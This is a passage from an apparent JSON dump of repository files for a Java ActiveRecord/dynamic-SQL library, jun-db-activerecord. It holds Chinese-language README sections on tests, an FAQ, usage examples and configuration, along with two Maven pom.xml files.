`testConcurrentMultiDatasourceAccess` | 20 线程在 2 个数据源间并发操作 |\n\n#### 方言 SQL 生成测试\n\n| 测试方法 | 验证内容 |\n|----------|---------|\n| `testMysqlDialectForDbUpdateExcludesPK` | MySQL UPDATE 排除主键列 |\n| `testOracleDialectForDbUpdateExcludesPK` | Oracle UPDATE 排除主键列 |\n| `testPostgreSqlDialectForDbUpdateExcludesPK` | PostgreSQL UPDATE 排除主键列 |\n| `testSqlite3DialectForDbUpdateExcludesPK` | SQLite UPDATE 排除主键列 |\n| `testDialectForDbUpdateCompositePK` | 复合主键 UPDATE |\n| `testMysqlDialectForDbSave/FindById/DeleteById` | MySQL SQL 生成 |\n| `test*ForPaginate` | 各方言分页 SQL |\n| `testDialectIsPrimaryKey` | 主键匹配（大小写不敏感） |\n| `testDialectIsOracle` | Oracle 方言标识 |\n| `testDialectReplaceOrderBy` | ORDER BY 移除 |\n\n#### 类型转换边界测试\n\n| 测试方法 | 验证内容 |\n|----------|---------|\n| `testRecordGetIntFromLong` | Long → Integer 安全转换 |\n| `testRecordGetIntFromString` | String → Integer 解析 |\n| `testRecordGetLongFromInt` | Integer → Long 安全转换 |\n| `testRecordGetDoubleFromInt` | Integer → Double 安全转换 |\n| `testRecordGetFloatFromDouble` | Double → Float 安全转换 |\n| `testRecordGet*FromString` | 各类型字符串解析 |\n| `testRecordGet*Null` | null 值安全返回 |\n\n---\n\n## 14. 常见问题\n\n### Q: H2 数据库列名返回大写怎么办？\n\nH2 默认返回大写列名（如 `USER_NAME`），而代码中可能使用小写（如 `user_name`）。框架在以下场景做了兼容：\n\n- `DbPro.getRecordValue()` 对主键匹配支持大小写不敏感\n- `Dialect.isPrimaryKey()` 使用 `equalsIgnoreCase()` 比较\n\n建议：查询后使用数据库实际返回的列名（通常是大写），避免重复列。\n\n### Q: Bean 模式和 Model 模式如何选择？\n\n| 场景 | 推荐模式 |\n|------|---------|\n| 已有 JPA/MyBatis-Plus 实体类 | Bean 模式（`Db.saveBean`） |\n| 不想定义实体、快速开发 | Record 模式（`Db.save`） |\n| 需要 ActiveRecord 风格链式调用 | Model 模式 |\n| 复杂 SQL 查询 | SQL 模式（`Db.queryList`） |\n\n### Q: 主键如何配置？\n\n优先级从高到低：\n1. **Model 模式**：字段上的 `@Id` 注解\n2. **自动检测**：框架启动时通过数据库元数据自动注册所有表的主键\n3. **手动指定**：`Db.save(\"table\", \"pk_column\", record)`\n4. **默认值**：`\"id\"`\n\n### Q: 如何处理复合主键？\n\n```java\n// 主键用逗号分隔\nDb.save(\"user_role\", \"user_id,role_id\", record);\nDb.findByIds(\"user_role\", \"user_id,role_id\", userId, roleId);\nDb.deleteById(\"user_role\", \"user_id,role_id\", userId, roleId);\n\n// Model 模式\n@Table(name = \"user_role\")\npublic class UserRole extends Model<UserRole> {\n    @Id private Long userId;\n    @Id private Long roleId;\n    public static final UserRole dao = new UserRole().dao();\n}\nUserRole.dao.findByIds(userId, roleId);\n```\n\n### Q: 异常处理机制？\n\n所有数据库操作异常统一封装为 `DbException`（继承 `RuntimeException`），携带原始异常和 SQL 信息：\n\n```java\ntry {\n    Db.execute(\"INVALID SQL\");\n} catch (DbException e) {\n    String msg = e.getMessage();  // 包含错误信息 + SQL\n    Throwable cause = e.getCause(); // 原始异常\n}\n```\n\n---\n\n## 附录：项目结构\n\n```\nsrc/main/java/io/github/wujun728/db/\n├── record/\n│   ├── Db.java                    # 静态门面（入口）\n│   ├── DbPro.java                 # 核心数据库引擎\n│   ├── Record.java                # 数据记录类（Map 封装）\n│   ├── Model.java                 # ActiveRecord 基类\n│   ├── Page.java                  # 分页结果对象\n│   ├── DbException.java           # 统一异常\n│   ├── IAtom.java                 # 事务回调接口\n│   ├── dialect/\n│   │   ├── Dialect.java           # 方言抽象基类\n│   │   ├── MysqlDialect.java      # MySQL 方言\n│   │   ├── OracleDialect.java     # Oracle 方言\n│   │   ├── PostgreSqlDialect.java # PostgreSQL 方言\n│   │   └── Sqlite3Dialect.java    # SQLite 方言\n│   └── mapper/\n│       └── BatchSql.java          # 批量 SQL 容器\n└── utils/\n    └── RecordUtil.java            # ORM 工具类（转换/反射/缓存）\n\nsrc/test/java/io/github/wujun728/db/\n├── DbActiveRecordTest.java        # SQL/Record/Bean 模式测试（74）\n├── ModelTest.java                 # Model 模式测试（33）\n└── ConcurrencyAndEdgeCaseTest.java # 并发/方言/边界测试（97）\n```\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n\n    <!--<parent>\n        <groupId>io.github.wujun728</groupId>\n        <artifactId>jun_springboot_starter</artifactId>\n        <version>1.0.25</version>\n    </parent>-->\n    <groupId>io.github.wujun728</groupId>\n    <version>1.0.25</version>\n    <packaging>jar</packaging>\n    <artifactId>jun-db-activerecord</artifactId>\n    <name>jun-db-activerecord</name>\n    <description>dynamic sql engine tool</description>\n    <url>https://github.com/wujun728/jun-spring-boot-starter/jun-db-activerecord</url>\n    \n    \n   \t<properties>\n\t\t<java.version>1.8</java.version>\n        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n\t</properties>\n\n    <dependencies>\n        <dependency>\n            <groupId>dom4j</groupId>\n            <artifactId>dom4j</artifactId>\n            <version>1.6.1</version>\n        </dependency>\n        <dependency>\n            <groupId>ognl</groupId>\n            <artifactId>ognl</artifactId>\n            <version>2.7.3</version>\n        </dependency>\n        <dependency>\n            <groupId>com.alibaba.fastjson2</groupId>\n            <artifactId>fastjson2</artifactId>\n            <version>2.0.37</version>\n        </dependency>\n        <dependency>\n            <groupId>org.projectlombok</groupId>\n            <artifactId>lombok</artifactId>\n            <version>1.18.30</version>\n        </dependency>\n        <!-- https://mvnrepository.com/artifact/org.slf4j/slf4j-api -->\n        <dependency>\n            <groupId>org.slf4j</groupId>\n            <artifactId>slf4j-api</artifactId>\n            <version>1.7.25</version>\n        </dependency>\n        <!-- https://mvnrepository.com/artifact/ch.qos.logback/logback-classic -->\n        <!--<dependency>\n            <groupId>ch.qos.logback</groupId>\n            <artifactId>logback-classic</artifactId>\n            <version>1.2.3</version>\n        </dependency>-->\n        <dependency>\n            <groupId>com.alibaba</groupId>\n            <artifactId>druid</artifactId>\n            <version>1.2.24</version>\n        </dependency>\n        <dependency>\n            <groupId>cn.hutool</groupId>\n            <artifactId>hutool-all</artifactId>\n            <version>5.8.25</version>\n        </dependency>\n        <dependency>\n            <groupId>junit</groupId>\n            <artifactId>junit</artifactId>\n            <version>4.13.2</version>\n            <scope>test</scope>\n        </dependency>\n        <!--<dependency>\n            <groupId>org.apache.commons</groupId>\n            <artifactId>commons-lang3</artifactId>\n            <version>3.13.0</version>\n            <scope>compile</scope>\n        </dependency>-->\n        <!--<dependency>\n            <groupId>com.jfinal</groupId>\n            <artifactId>activerecord</artifactId>\n            <version>5.1.2</version>\n        </dependency>-->\n        <dependency>\n            <groupId>com.jfinal</groupId>\n            <artifactId>enjoy</artifactId>\n            <version>5.1.2</version>\n        </dependency>\n        <!-- https://mvnrepository.com/artifact/com.mysql/mysql-connector-j -->\n        <dependency>\n            <groupId>com.mysql</groupId>\n            <artifactId>mysql-connector-j</artifactId>\n            <version>8.0.33</version>\n            <scope>runtime</scope>\n        </dependency>\n        <dependency>\n            <groupId>net.sf.ehcache</groupId>\n            <artifactId>ehcache</artifactId>\n            <version>2.10.9.2</version>\n            <scope>compile</scope>\n        </dependency>\n        <dependency>\n            <groupId>javax.servlet</groupId>\n            <artifactId>javax.servlet-api</artifactId>\n            <version>4.0.1</version>\n        </dependency>\n        <dependency>\n            <groupId>org.aspectj</groupId>\n            <artifactId>aspectjweaver</artifactId>\n            <version>1.9.9.1</version>\n        </dependency>\n        <dependency>\n            <groupId>com.fasterxml.jackson.core</groupId>\n            <artifactId>jackson-databind</artifactId>\n            <version>2.19.2</version>\n        </dependency>\n        <!--<dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-autoconfigure</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.cloud</groupId>\n            <artifactId>spring-cloud-context</artifactId>\n        </dependency>-->\n        <dependency>\n            <groupId>com.baomidou</groupId>\n            <artifactId>mybatis-plus-annotation</artifactId>\n            <version>3.5.9</version>\n        </dependency>\n        <!--<dependency>\n            <groupId>com.baomidou</groupId>\n            <artifactId>mybatis-plus-core</artifactId>\n            <version>3.5.9</version>\n        </dependency>-->\n        <dependency>\n            <groupId>org.springframework</groupId>\n            <artifactId>spring-jdbc</artifactId>\n            <version>5.3.39</version>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework</groupId>\n            <artifactId>spring-web</artifactId>\n            <version>5.3.39</version>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework</groupId>\n            <artifactId>spring-context</artifactId>\n            <version>5.3.39</version>\n        </dependency>\n        <dependency>\n            <groupId>net.dreamlu</groupId>\n            <artifactId>mica-auto</artifactId>\n            <version>2.3.3</version>\n        </dependency>\n\n        <dependency>\n            <groupId>javax.annotation</groupId>\n            <artifactId>javax.annotation-api</artifactId>\n            <version>1.3.2</version>\n        </dependency>\n        <dependency>\n            <groupId>com.h2database</groupId>\n            <artifactId>h2</artifactId>\n            <version>2.2.224</version>\n            <scope>test</scope>\n        </dependency>\n    </dependencies>\n\n    <developers>\n        <developer>\n            <name>wujun728</name>\n            <email>wujun728@163.com</email>\n            <url>https://github.com/wujun728/jun-spring-boot-starter/jun-db-activerecord</url>\n        </developer>\n    </developers>\n\n    <scm>\n        <url>https://github.com/wujun728/jun-spring-boot-starter/jun-db-activerecord.git</url>\n        <connection>scm:git:github.com/wujun728/jun-spring-boot-starter/jun-db-activerecord.git</connection>\n        <developerConnection>scm:git:github.com/wujun728/jun-spring-boot-starter/jun-db-activerecord.git</developerConnection>\n    </scm>\n\n    <licenses>\n        <license>\n            <name>The Apache Software License, Version 2.0</name>\n            <url>http://www.apache.org/licenses/LICENSE-2.0.txt</url>\n            <distribution>repo</distribution>\n        </license>\n    </licenses>\n\n    <distributionManagement>\n        <snapshotRepository>\n            <id>oss</id>\n            <url>https://s01.oss.sonatype.org/content/repositories/snapshots</url>\n        </snapshotRepository>\n        <repository>\n            <id>oss</id>\n            <url>https://s01.oss.sonatype.org/service/local/staging/deploy/maven2/</url>\n        </repository>\n    </distributionManagement>\n\n\n    <build>\n        <plugins>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-compiler-plugin</artifactId>\n                <version>3.1</version>\n                <configuration>\n                    <source>1.8</source>\n                    <target>1.8</target>\n                    <encoding>UTF-8</encoding>\n                </configuration>\n            </plugin>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-source-plugin</artifactId>\n                <version>2.2.1</version>\n                <executions>\n                    <execution>\n                        <id>attach-sources</id>\n                        <goals>\n                            <goal>jar-no-fork</goal>\n                        </goals>\n                    </execution>\n                </executions>\n            </plugin>\n            <!--<plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-javadoc-plugin</artifactId>\n                <version>3.2.0</version>\n                <configuration>\n                    <show>package</show>\n                    <tags>\n                        <tag>\n                            <name>date</name>\n                        </tag>\n                    </tags>\n                </configuration>\n                <executions>\n                    <execution>\n                        <id>attach-javadocs</id>\n                        <phase>package</phase>\n                        <goals>\n                            <goal>jar</goal>\n                        </goals>\n                        <configuration>\n                            <doclint>none</doclint>\n                        </configuration>\n                    </execution>\n                </executions>\n            </plugin>-->\n            <!--<plugin>\n                 <groupId>org.apache.maven.plugins</groupId>\n                 <artifactId>maven-gpg-plugin</artifactId>\n                 <version>1.0</version>\n                 <executions>\n                     <execution>\n                         <id>sign-artifacts</id>\n                         <phase>verify</phase>\n                         <goals>\n                             <goal>sign</goal>\n                         </goals>\n                     </execution>\n                 </executions>\n             </plugin> -->\n\n        </plugins>\n    </build>\n\n</project>"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord/pom2.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n\n    <parent>\n        <groupId>io.github.wujun728</groupId>\n        <artifactId>jun_springcloud_starter</artifactId>\n        <version>1.0.25</version>\n    </parent>\n    <artifactId>jun-db-activerecord</artifactId>\n    <name>jun-db-activerecord</name>\n    <description>jun-db-activerecord tool 动态Record数据层开发工具</description>\n    <url>https://github.com/wujun728/jun-spring-boot-starter/jun-db-record</url>\n\n\n    <dependencies>\n        <dependency>\n            <groupId>junit</groupId>\n            <artifactId>junit</artifactId>\n            <version>4.13.2</version>\n            <scope>test</scope>\n        </dependency>\n        <dependency>\n            <groupId>javax.servlet</groupId>\n            <artifactId>javax.servlet-api</artifactId>\n            <version>3.1.0</version>\n            <scope>provided</scope>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework</groupId>\n            <artifactId>spring-webmvc</artifactId>\n            <version>5.3.18</version>\n            <scope>provided</scope>\n        </dependency>\n\n        <dependency>\n            <groupId>com.alibaba</groupId>\n            <artifactId>druid</artifactId>\n            <version>1.2.4</version>\n            <scope>provided</scope>\n        </dependency>\n\n        <dependency>\n            <groupId>net.sf.ehcache</groupId>\n            <artifactId>ehcache-core</artifactId>\n            <version>2.6.11</version>\n            <scope>provided</scope>\n        </dependency>\n\n        <dependency>\n            <groupId>com.zaxxer</groupId>\n            <artifactId>HikariCP</artifactId>\n            <version>4.0.3</version><!-- 5.0.0 版本不支持 JDK 8 -->\n            <scope>provided</scope>\n        </dependency>\n\n        <!-- 仅用于 ActiveRecordDemo 演示代码\n        <dependency>\n            <groupId>mysql</groupId>\n            <artifactId>mysql-connector-java</artifactId>\n            <version>5.1.49</version>\n            <scope>provided</scope>\n        </dependency>\n        -->\n\n        <!-- fastjson json 转换 -->\n        <dependency>\n            <groupId>com.alibaba</groupId>\n            <artifactId>fastjson</artifactId>\n            <version>1.2.80</version>\n            <scope>provided</scope>\n        </dependency>\n\n        <!-- jackson json 转换 -->\n        <dependency>\n            <groupId>com.fasterxml.jackson.core</groupId>\n            <artifactId>jackson-databind</artifactId>\n            <version>2.11.0</version>\n            <scope>provided</scope>\n        </dependency>\n\n        <dependency>\n            <groupId>cn.hutool</groupId>\n            <artifactId>hutool-all</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>io.github.wujun728</groupId>\n            <artifactId>jun-common-base</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>com.google.guava</groupId>\n            <artifactId>guava</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>com.baomidou</groupId>\n            <artifactId>mybatis-plus-annotation</artifactId>\n            <version>3.5.7</version>\n        </dependency>\n\n    </dependencies>\n\n    <build>\n        <plugins>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-compiler-plugin</artifactId>\n                <version>3.1</version>\n                <configuration>\n                    <source>1.8</source>\n                    <target>1.8</target>\n                    <encoding>UTF-8</encoding>\n                </configuration>\n            </plugin>\n        </plugins>\n    </build>\n\n\n</project>"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord/readme.md",
    "content": "# 概述\n\n- jun-db-activerecord是一个集ActiveRecord及动态sql解析的数据层操作插件，抽取了mybatis源码SQL解析模块及jfinal的db+record模块，\n- 1.1、相当于mybatis中的动态sql解析功能的抽取，主要是各种标签的XML解析，用法跟Mybatis的XML的SQL写法是一样的\n- 1.2、类似mybatis的功能，解析带标签的动态sql，生成`?`占位符的sql和`?`对应的参数列表。\n- 1.3、集成了ActiveRecord模型，完美解决弱类型的数据层组件，。\n- 支持 `<if>` `<foreach>` `<where>` `<set>` `<trim>`\n\n# 使用教程\n\n- 在自己的maven项目中引入maven坐标\n```xml\n<dependency>\n    <groupId>io.github.wujun728</groupId>\n    <artifactId>jun-db-activerecord</artifactId>\n    <version>${jun.version}</version>\n</dependency>\n```\n\n\n\n- 核心api -- Db + Record模式\n```\n\n1､常见用法\nDb类及其配套的Record类，提供了在Model类之外更为丰富的数据库操作功能。使用Db与Record类时，无需对数据库表进行映射，Record相当于一个通用的Model。以下为Db + Record模式的一些常见用法：\n\n// 创建name属性为James,age属性为25的record对象并添加到数据库\nRecord user = new Record().set(\"name\", \"James\").set(\"age\", 25);\nDb.save(\"user\", user);\n \n// 删除id值为25的user表中的记录\nDb.deleteById(\"user\", 25);\n \n// 查询id值为25的Record将其name属性改为James并更新到数据库\nuser = Db.findById(\"user\", 25).set(\"name\", \"James\");\nDb.update(\"user\", user);\n \n// 获取user的name属性\nString userName = user.getStr(\"name\");\n// 获取user的age属性\nInteger userAge = user.getInt(\"age\");\n \n// 查询所有年龄大于18岁的user\nList<Record> users = Db.find(\"select * from user where age > 18\");\n \n// 分页查询年龄大于18的user,当前页号为1,每页10个user\nPage<Record> userPage = Db.paginate(1, 10, \"select *\", \"from user where age > ?\", 18);\n```\n\n\n\n\n\n- 核心api -- SQL动态参数模式\n```\nDynamicSqlEngine engine = new DynamicSqlEngine();\nSqlMeta sqlMeta = engine.parse(sql, map);\nObject data = SqlEngine.executeSql(connection, apiSql.getSqlText(), sqlParam);\n```\n- 示例\n```\n@Test\npublic void testForeachIF() {\n\tDynamicSqlEngine engine = new DynamicSqlEngine();\n\tString sql = (\"select * from user where name in <foreach collection='list' index='idx' open='(' separator=',' close=')'>#{item.name}== #{idx}<if test='id!=null'>  and id = #{id}</if></foreach>\");\n\tMap<String, Object> map = new HashMap<>();\n\n\tArrayList<model.User> arrayList = new ArrayList<>();\n\tarrayList.add(new model.User(10, \"zhangsan\"));\n\tarrayList.add(new model.User(11, \"lisi\"));\n\tmap.put(\"list\", arrayList.toArray());\n\tmap.put(\"id\", 100);\n\n\tSqlMeta sqlMeta = engine.parse(sql, map);\n\tSqlEngine.executeSql(connection, sql, map);\n\tSystem.out.println(sqlMeta.getSql());\n\tsqlMeta.getJdbcParamValues().forEach(System.out::println);\n}\n\n```\n\n- 示例执行结果：\n```\nselect * from user where name in  ( ? , ? ) \nzhangsan\nlisi\n```\n\n\n\n# mica-activerecord 模块\n\n## 功能\n- `@TableName` 注解 Model 自动 Mapping 映射。\n- 基于 Druid 的可执行 Sql 打印。\n- 基于 Druid 的 `DruidSqlDialect`，分页 sql 优化，支持多种数据库。\n- Record 的 `jackson` 处理。\n- `@Tx` 注解的 JFinal ActiveRecord 事务。\n- 可自定义 `ActiveRecordPluginCustomizer` Bean，实现自定义扩展。\n- `CodeGenerator` 代码生成 `markdown` 格式数据字典。\n- `ModelUtil` 实现 Model、Record -> Bean 转换。\n\n## 文档\njfinal ActiveRecord 文档：https://jfinal.com/doc/5-1\n\n## 添加依赖\n### maven\n```xml\n<dependency>\n  <groupId>net.dreamlu</groupId>\n  <artifactId>mica-activerecord</artifactId>\n  <version>${version}</version>\n</dependency>\n```\n\n## 配置\n### ActiveRecord\n| 配置项 | 默认值 | 说明 |\n| ----- | ------ | ------ |\n| mica.activerecord.dialect | mysql | 方言，默认：mysql，注意：设置为 Druid 时采用 Ansi + druid 分页优化，支持多种数据库 |\n| mica.activerecord.auto-table-scan | true | 自定表扫描 |\n| mica.activerecord.model-package |  | 模型的包路径 |\n| mica.activerecord.base-template-path |  | sql 模板前缀 |\n| mica.activerecord.sql-templates |  | sql 模板，支持多个 |\n| mica.activerecord.transaction-level |  | 事务级别，默认：不可重复读 |\n\n### Spring database（优先）\n| 配置项 | 默认值 | 说明 |\n| ----- | ------ | ------ |\n| spring.datasource.url |  | 数据库地址 |\n| spring.datasource.username |  | 数据库用户名 |\n| spring.datasource.password |  | 数据库密码 |\n\n### Druid\n| 配置项 | 默认值 | 说明                     |\n| ----- |----|------------------------|\n| mica.druid.url |    | 数据库地址                  |\n| mica.druid.username |    | 数据库用户名                 |\n| mica.druid.password |    | 数据库密码                  |\n| mica.druid.show-sql | true | 打印可执行 sql，默认为 true     |\n| mica.druid.show-sql-patterns | [] | 打印 sql 的正则，list 列表，例如：`.*t_user.*` |\n| mica.druid.connection-init-sql |    |                        |\n| mica.druid.connection-properties |    |                        |\n| mica.druid.default-transaction-isolation |    |                        |\n| mica.druid.driver-class |    |                        |\n| mica.druid.filters |    |                        |\n| mica.druid.initial-size | 1  |                        |\n| mica.druid.keep-alive |    |                        |\n| mica.druid.log-abandoned | false |                        |\n| mica.druid.max-active | 32 |                        |\n| mica.druid.max-pool-prepared-statement-per-connection-size | -1 |                        |\n| mica.druid.max-wait | -1 |                        |\n| mica.druid.min-evictable-idle-time-millis | 1800000 |                        |\n| mica.druid.min-idle | 10 |                        |\n| mica.druid.public-key |    |                        |\n| mica.druid.remove-abandoned | false |                        |\n| mica.druid.remove-abandoned-timeout-millis | 300000 |                        |\n| mica.druid.test-on-borrow | false |                        |\n| mica.druid.test-on-return | false |                        |\n| mica.druid.test-while-idle | true |                        |\n| mica.druid.time-between-connect-error-millis | 30000 |                        |\n| mica.druid.time-between-eviction-runs-millis | 60000 |                        |\n| mica.druid.time-between-log-stats-millis |    |                        |\n| mica.druid.validation-query | select 1 |                        |\n| mica.druid.validation-query-timeout |    |                        |\n\n## 代码生成\n```java\n/**\n * 在数据库表有任何变动时，运行一下 main 方法，极速响应变化进行代码重构\n */\npublic class CodeGeneratorTest {\n\n\tpublic static void main(String[] args) {\n\t\tCodeGenerator generator = CodeGenerator.create()\n\t\t\t.url(\"jdbc:mysql://127.0.0.1:3306/blog\")\n\t\t\t.username(\"root\")\n\t\t\t.password(\"12345678\")\n\t\t\t.basePackageName(\"net.dreamlu.demo\")\n\t\t\t.outputDir(PathKit.getWebRootPath())\n\t\t\t.openDir() // 完成后打开目录窗口\n\t\t\t.build();\n\t\t// 为生成器添加类型映射，将数据库反射得到的类型映射到指定类型\n//\t\tgenerator.addTypeMapping(Date.class, LocalDateTime.class);\n\t\t// 设置数据库方言\n\t\tgenerator.setDialect(new MysqlDialect());\n\t\t// 设置是否生成链式 setter 方法\n\t\tgenerator.setGenerateChainSetter(false);\n\t\t// 添加不需要生成的表名\n\t\tgenerator.addExcludedTable(\"adv\");\n\t\t// 设置是否在 Model 中生成 dao 对象\n\t\tgenerator.setGenerateDaoInModel(true);\n\t\t// 设置需要被移除的表名前缀用于生成modelName。例如表名 \"osc_user\"，移除前缀 \"osc_\"后生成的model名为 \"model.User\"而非 OscUser\n\t\tgenerator.setRemovedTableNamePrefixes(\"t_\");\n\t\t// 生成\n\t\tgenerator.generate();\n\t}\n\n}\n```\n\n## 示例：自定义 jFinal ActiveRecord Plugin 配置\n```java\n@AutoConfiguration\npublic class MicaArpCustomConfiguration {\n\n\t@Bean\n\tpublic ActiveRecordPluginCustomizer activeRecordPluginCustomizer() {\n\t\treturn new ActiveRecordPluginCustomizer() {\n\t\t\t@Override\n\t\t\tpublic void customize(ActiveRecordPlugin arp) {\n\t\t\t\tSystem.out.println(\"----------------ActiveRecordPluginCustomizer-----------------\");\n\t\t\t\tarp.setDevMode(true);\n\t\t\t}\n\t\t};\n\t}\n\n}\n```\n\n## TODO \n- 对多数据源的支持"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord/readme2.md",
    "content": "# dbapi-spring-boot-starter\n\n## 概述\n\n- dbapi-spring-boot-starter 是接口快速开发工具，可以极大的降低代码量，类似于mybatis-plus框架，不需要再编写mapper接口、resultMap、resultType、javaBean(数据库表对应的java实体)\n- 通过xml编写sql和数据库配置，可以快速开发接口，支持多数据源，支持动态sql，支持mysql/postgresql/oracle/sqlserver/doris/hive/impala/clickhouse等等\n- dbapi-spring-boot-starter 是[DBAPI开源框架](https://github.com/freakchick/db-api) 的spring boot集成\n\n## 对比mybatis优劣\n\n- 如果使用mybatis框架的话，我们要编写 mapper java接口、mapper.xml、数据库表对应的javaBean实体类。\n  当join查询的时候还要封装resultMap(xml)和java dto实体类。\n- 如果使用本框架，相当于只需要编写mapper.xml中的sql脚本，参数类型返回类型都是自动的。极大的减少代码量。\n\n## 适用场景\n\n- 接口中没有复杂逻辑，都是sql执行，尤其适用于报表类应用\n- 需要多种数据源\n\n## 官方文档\n\n[官方文档](https://starter.51dbapi.com)\n\n## 引入依赖\n\n```xml\n\n<dependency>\n    <groupId>com.gitee.freakchicken</groupId>\n    <artifactId>dbapi-spring-boot-starter</artifactId>\n    <version>1.1.0</version>\n</dependency>\n```\n\n## 代码案例\n[dbapi-spring-boot-starter-demo](https://gitee.com/freakchicken/dbapi-spring-boot-starter-demo.git)\n\n## 联系作者：\n\n### wechat：\n\n<div style=\"text-align: center\"> \n<img src=\"https://freakchicken.gitee.io/images/kafkaui/wechat.jpg\" width = \"30%\" />\n</div>\n\n### 捐赠：\n\n如果您喜欢此项目，请给捐助作者一杯咖啡\n<div style=\"text-align: center\">\n<img align=\"center\" height=\"200px\" src=\"https://freakchicken.gitee.io/images/alipay.png\"/>\n<img align=\"center\" height=\"200px\" src=\"https://freakchicken.gitee.io/images/wechatpay.png\"/>\n</div>"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord/readme3.md",
    "content": "\n##声明\n\n本工具纯粹写来自用, 并没有与别人竞争的意思, 欢迎大神们给我这个渣渣提提建议, 不喜欢本项目的也不要喷我\n\n##前言\n\n我是一个曾纠结springboot还是jfinal的渣渣程序员\n\njfinal的orm超级爽, 但是controller并不是十分方便而且官方并不支持注解.\n\njfinal-ext支持注解了但是写起单元测试来十分麻烦. jfinal也不支持restful\n\noscgit上也有数个基于jfinal的restful框架,但是没有在官方支持下感觉十分奇怪,\n\n比如取PathParam要getAttr(),这样就感觉很奇怪了.\n\n最终我败在了Spring的大生态下, 虽然Spring库有点大了, 但是总是有用的.\n\nSpringBoot的简单配置实在让我非常心动, 加上SpringMVC强大又稳定, 所以我最终选择了SpringBoot\n\n但是SpringBoot自带的JPA写起一些多表查询,动态查询实在会死人, 所以我决定写一个基于JDBC类似JFinal的ORM框架(其实只算是封装好的工具吧)\n\n##x-orm简介\n\n跟JFinal一样有Model和Db+Record两种方式, 不过我在Model上加上了注解,这样配置就更加少了.\n\n在注册Record的时候实在比不上波总的JFinal..小弟才疏学浅.感觉在服务启动的性能上比JFinal差多了\n\n功能还在慢慢完善, 不废话了, 有兴趣的小伙伴来试试顺便给个星\n\n##配置\nx-orm是基于SpringBoot+Jdbc的 Maven就依赖这几个东西就好了\n```\n<parent>\n    <groupId>org.springframework.boot</groupId>\n    <artifactId>spring-boot-starter-parent</artifactId>\n    <version>1.3.6.RELEASE</version>\n  </parent>\n\n  <dependencies>\n    <dependency>\n      <groupId>org.springframework.boot</groupId>\n      <artifactId>spring-boot-starter-web</artifactId>\n    </dependency>\n\n    <dependency>\n      <groupId>mysql</groupId>\n      <artifactId>mysql-connector-java</artifactId>\n    </dependency>\n\n    <dependency>\n      <groupId>org.springframework.boot</groupId>\n      <artifactId>spring-boot-starter-jdbc</artifactId>\n    </dependency>\n```\n\n\n\n配置上面就非常简单了, 在SpringBoot的服务启动类加上两个注册的语句~如果不需要Record的就不需要填了\n\n```\n@Controller\n@EnableAutoConfiguration\n@ComponentScan(basePackages = \"com.xdivo\")\npublic class SpringBootStarter {\n\n    public static void main(String[] args) throws Exception {\n        SpringApplication.run(SpringBootStarter.class, args);\n        Register.registerModel(\"com.xdivo.model\"); //扫描的包名\n        Register.registerRecord(\"online_class\"); //数据库名\n        Register.initTheadPool(100, 100, 1000); //初始化线程池 0为使用默认值\n    }\n}\n\n```\n\n定义Model\n```\n/**\n * 用户类\n * Created by liujunjie on 16-7-19.\n */\n@Entity(table = \"c_user\")\npublic class model.User extends Model<model.User> {\n\n    @PK\n    @Column(name = \"id_\")\n    private long id;\n\n    @Column(name = \"mobile_\")\n    private String mobile;\n\n    @Column(name = \"password_\")\n    private String password;\n\n    @Join(refColumn = \"id\")\n    @Column(name = \"room_id_\")\n    private Room room;\n\n    @Join(refColumn = \"id_\") //关联的refColumn的值为数据库的关联列\n    @Column(name = \"student_id_\")\n    private Student student;\n\n    public long getId() {\n        return id;\n    }\n\n    public model.User setId(long id) {\n        this.id = id;\n        return this;\n    }\n\n    public String getMobile() {\n        return mobile;\n    }\n\n    public model.User setMobile(String mobile) {\n        this.mobile = mobile;\n        return this;\n    }\n\n    public String getPassword() {\n        return password;\n    }\n\n    public model.User setPassword(String password) {\n        this.password = password;\n        return this;\n    }\n\n    public Room getRoom() {\n        return room;\n    }\n\n    public model.User setRoom(Room room) {\n        this.room = room;\n        return this;\n    }\n\n    public Student getStudent() {\n        return student;\n    }\n\n    public model.User setStudent(Student student) {\n        this.student = student;\n        return this;\n    }\n}\n```\n\n在使用的时候就跟JFinal基本一样了\n```\n//保存User对象\nnew model.User().setMobile(\"abc\")\n      .setPassword(\"123\")\n      .save();\n\n//根据主键查询User\nmodel.User user = new model.User().findById(id);\n\n//获取关联对象\n\n//异步保存到数据\nuser.asyncSave();\n\n//异步更新到数据\nuser.asyncUpdate();\n```\n\n```\n//查询record\nRecord record = Db.findById(\"c_user\", 23);\n\n//转换到Model(转换到Model后直接使用getter就能获取关联Model)\nmodel.User user = record.toModel(model.User.class);\n\n//保存Record对象\nRecord record = new Record()\n    .set(\"mobile_\", \"abc\")\n    .set(\"password_\", \"123\");\nDb.save(\"c_user\", 